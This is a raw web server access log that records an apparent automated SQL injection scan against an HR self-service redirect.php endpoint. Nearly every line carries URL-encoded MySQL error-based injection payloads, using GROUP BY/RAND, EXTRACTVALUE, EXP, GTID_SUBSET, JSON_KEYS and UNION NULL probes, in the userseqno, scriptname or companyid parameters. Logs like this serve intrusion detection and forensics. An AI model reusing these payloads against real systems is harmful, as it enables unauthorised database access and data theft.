100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x54723234%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58463539%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FWXjj HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x54723234%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58463539%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FWXjj HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x43306c49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33436679%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FunCa HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x43306c49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33436679%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FunCa HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d50554a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64444256%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FSNuT%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d50554a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64444256%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FSNuT%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x69544f63%2C%28NULL%29%2C0x71444f44%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FnALF%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x69544f63%2C%28NULL%29%2C0x71444f44%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FnALF%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f564f41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38596330%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FLOlD HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f564f41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38596330%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FLOlD HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4546496d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74313844%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FeQXf HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4546496d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74313844%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FeQXf HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6a505479%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52375568%29%29x%29%29--%2F%2A%2A%2FR1VU&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6a505479%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52375568%29%29x%29%29--%2F%2A%2A%2FR1VU&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4254466a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f784754%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FaOYV HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4254466a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f784754%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FaOYV HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x76636343%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38506674%29%2C6420%29%23%2F%2A%2A%2FQcGg HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x76636343%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38506674%29%2C6420%29%23%2F%2A%2A%2FQcGg HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4b4d5174%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c563530%29%2C6420%29%23%2F%2A%2A%2FTI9L HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4b4d5174%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c563530%29%2C6420%29%23%2F%2A%2A%2FTI9L HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x30597642%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x566d7333%29%29x%29%29--%2F%2A%2A%2FxOlL&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x30597642%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x566d7333%29%29x%29%29--%2F%2A%2A%2FxOlL&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x504a7430%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75766c41%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKUvs%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x504a7430%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75766c41%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKUvs%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4741306e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48776a63%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FnAyI&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4741306e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48776a63%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FnAyI&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x69544f63%2C%28NULL%29%2C0x71444f44%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FnALF%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6a505479%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52375568%29%29x%29%29--%2F%2A%2A%2FR1VU&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b64444f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66754754%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FjGic&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b64444f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66754754%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FjGic&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x30597642%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x566d7333%29%29x%29%29--%2F%2A%2A%2FxOlL&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c306236%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x344c7a30%29%29%2C1%29--%2F%2A%2A%2FpHPJ&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c306236%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x344c7a30%29%29%2C1%29--%2F%2A%2A%2FpHPJ&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6e4e4451%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f574362%29%29%2C1%29--%2F%2A%2A%2FZoU5&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6e4e4451%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f574362%29%29%2C1%29--%2F%2A%2A%2FZoU5&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x31524950%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a6d3541%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F30Nt&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
